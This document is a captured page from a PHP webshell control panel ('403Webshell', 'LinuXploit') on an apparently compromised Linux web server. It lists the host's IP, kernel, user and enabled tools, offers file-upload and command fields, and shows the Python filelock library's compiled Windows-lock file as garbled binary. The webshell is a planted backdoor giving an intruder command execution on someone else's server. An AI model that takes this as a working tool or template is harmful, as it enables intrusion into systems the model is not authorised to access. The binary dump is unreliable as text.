403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/filelock/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/filelock/__pycache__/_windows.cpython-311.pyc
�

Mj�
��>�ddlmZddlZddlZddlmZddlmZddlm	Z	ddl
mZejdkrZddl
Z
ddlZdd	l
mZd
ZdZe
jdd
���Zejgej_ejej_dd�ZGd�de	��ZnGd�de	��ZdgZdS)�)�annotationsN)�ENOENT)�cast�)�BaseFileLock)�raise_on_exist_ro_file�win32)�wintypesil���kernel32T)�use_last_error�path�str�return�boolc���t�|��}|tkr%tj��}|dkrdS|dkrdSdSt|tz��S)a
        Check if a path is a reparse point (symlink, junction, etc.) on Windows.

        :param path: Path to check
        :return: True if path is a reparse point, False otherwise
        :raises OSError: If GetFileAttributesW fails for reasons other than file-not-found
        �F�)�	_kernel32�GetFileAttributesW�INVALID_FILE_ATTRIBUTES�ctypes�get_last_errorr�FILE_ATTRIBUTE_REPARSE_POINT)r
�attrs�errs   �3/usr/lib/python3/dist-packages/filelock/_windows.py�_is_reparse_pointrsf���,�,�T�2�2���+�+�+��'�)�)�C��a�x�x��u��a�x�x��u��5��E�8�8�9�9�9�c�"�eZdZdZdd�Zdd�ZdS)�WindowsFileLock�WUses the :func:`msvcrt.locking` function to hard lock the lock file on windows systems.r�Nonec��t|j��t|j��rd|j��}t	|���t
jt
jzt
jz}	tj	|j|��}	tj|tjd��||_
dS#t$rtj|��YdSwxYw#t$r}|jt kr�Yd}~dSd}~wwxYw)Nz1Lock file is a reparse point (symlink/junction): r)r�
_lock_filer�	lock_file�OSError�os�O_RDWR�O_CREAT�O_TRUNC�open�msvcrt�locking�LK_NBLCK�
_lock_file_fd�close�errnor)�self�msg�mode�fd�	exceptions     r�_acquirezWindowsFileLock._acquire0s��"�4�?�3�3�3�!���0�0�
#�Z�$�.�Z�Z���c�l�l�"��	��*���*��
�

,��W�T�_�d�3�3��
,��N�2�v���:�:�:�*,�D�&�&�&���!�!�!��H�R�L�L�L�L�L�L�!�����
�
�
�
��?�f�,�,��-�,�,�,�,�,�����
���s*�)C� B-�-C�C�
C8�C3�3C8c��tt|j��}d|_tj|tjd��t
j|��	t
j|j	��dS#t$rYdSwxYw)Nr)r�intr/r,r-�LK_UNLCKr'r0�remover$r&)r2r5s  r�_releasezWindowsFileLock._releaseKs~���c�4�-�.�.�B�!%�D���N�2�v���2�2�2��H�R�L�L�L�
��	�$�/�*�*�*�*�*���
�
�
����
���s�A2�2
B�?BN�rr"��__name__�
__module__�__qualname__�__doc__r7r<�rrr r -sB������e�e�	,�	,�	,�	,�6
	�
	�
	�
	�
	�
	rr c�"�eZdZdZdd�Zdd�ZdS)r r!rr"c��t��N��NotImplementedError�r2s rr7zWindowsFileLock._acquire\���%�%rc��t�rFrGrIs rr<zWindowsFileLock._release_rJrNr=r>rCrrr r YsB������e�e�	&�	&�	&�	&�	&�	&�	&�	&�	&�	&r)r
rrr)�
__future__rr'�sysr1r�typingr�_apir�_utilr�platformrr,r
rr�WinDLLr�LPCWSTRr�argtypes�DWORD�restyperr �__all__rCrr�<module>rXsd��"�"�"�"�"�"�	�	�	�	�
�
�
�
�������������������)�)�)�)�)�)��<�7����M�M�M��M�M�M�������$.� �(����
�j��>�>�>�I�-5�-=�,>�I� �)�+3�>�I� �(�:�:�:�:�((�(�(�(�(�,�(�(�(�(�X&�&�&�&�&�,�&�&�&�����r

Youez - 2016 - github.com/yon3zu
LinuXploit